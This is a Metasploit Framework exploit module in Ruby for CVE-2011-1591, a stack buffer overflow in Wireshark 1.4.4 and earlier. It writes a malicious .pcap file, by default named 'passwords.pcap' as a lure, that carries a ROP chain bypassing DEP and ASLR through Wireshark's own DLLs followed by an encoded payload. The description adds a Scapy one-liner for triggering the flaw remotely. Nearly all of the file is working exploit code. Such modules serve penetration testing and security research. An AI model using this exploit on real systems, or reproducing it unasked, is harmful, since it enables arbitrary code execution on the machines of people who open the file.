##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Wireshark <= 1.4.4
				When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
				resulting in arbitrary code execution.

				Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file"))
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Paul Makowski',  #Initial discovery
					'sickness',       #proof of concept
					'corelanc0d3r <peter.ve[at]corelan.be>',   #rop exploit + msf module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2011-1591'],
					[ 'OSVDB', '71848'],
					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
					[ 'EDB', 17185 ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 936,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Win32 Universal (Generic DEP & ASLR Bypass)',
						{
							'OffSet' => 1243,
							'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 18 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'pcap file',  'passwords.pcap']),
			], self.class)
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		global_header = "\xd4\xc3\xb2\xa1"      # magic_number
		global_header << "\x02\x00"             # major version
		global_header << "\x04\x00"             # minor version
		global_header << "\x00\x00\x00\x00"     # GMT to local correction
		global_header << "\x00\x00\x00\x00"     # accuracy
		global_header << "\xff\x7f\x00\x00"     # snaplen
		global_header << "\x01\x00\x00\x00"     # data link type

		packet_header = "\x26\x32\xac\x4d"      #timestamp seconds
		packet_header << "\xda\xfa\x00\x08"     #timestamp microseconds
		packet_header << "\xdc\x05\x00\x00"     #nr of octets of packet in file
		packet_header << "\xdc\x05\x00\x00"     #actual size of packet (1500)

		ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

		print_status("Preparing payload")

		pivot = [target.ret].pack('V')

		# pvefindaddr rop 'n roll
		# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
		rop_pivot =
		[
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
			0x618d7d0e,     # RET <- don't count on this one !
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
			0xFFFFFFFF,     # crash baby !
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
		].pack("V*")

		rop_gadgets =
		[

			0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
			junk,
			0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
			junk,
			junk,
			0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
			0x00000800,     # size - 0x800 should be more than enough
			0x61c14043,     # POP ESI # RETN    ** [freetype6.dll]
			0x0000009C,
			0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
			junk,
			junk,
			0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
			0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
			0x62d9027c,     #
			0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
			0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
			0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
			0x00000040,     #
			0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
			0x6536B010,     # RW
			0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll]
			0x618d7d0e,     # RET
			0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll]
			0x618d7d0e,     # RET
			0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
		].pack("V*")

		pivot = [target.ret].pack('V')

		buffer = rand_text(131)
		buffer << rop_pivot
		buffer << rop_gadgets

		nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

		buffer << nops
		buffer << payload.encoded
		buffer << pivot

		filler = 1500 - buffer.length

		buffer << rand_text(filler)

		filecontent = global_header
		filecontent << packet_header
		filecontent << ptype
		filecontent << buffer

		print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")

		file_create(filecontent)
	end
end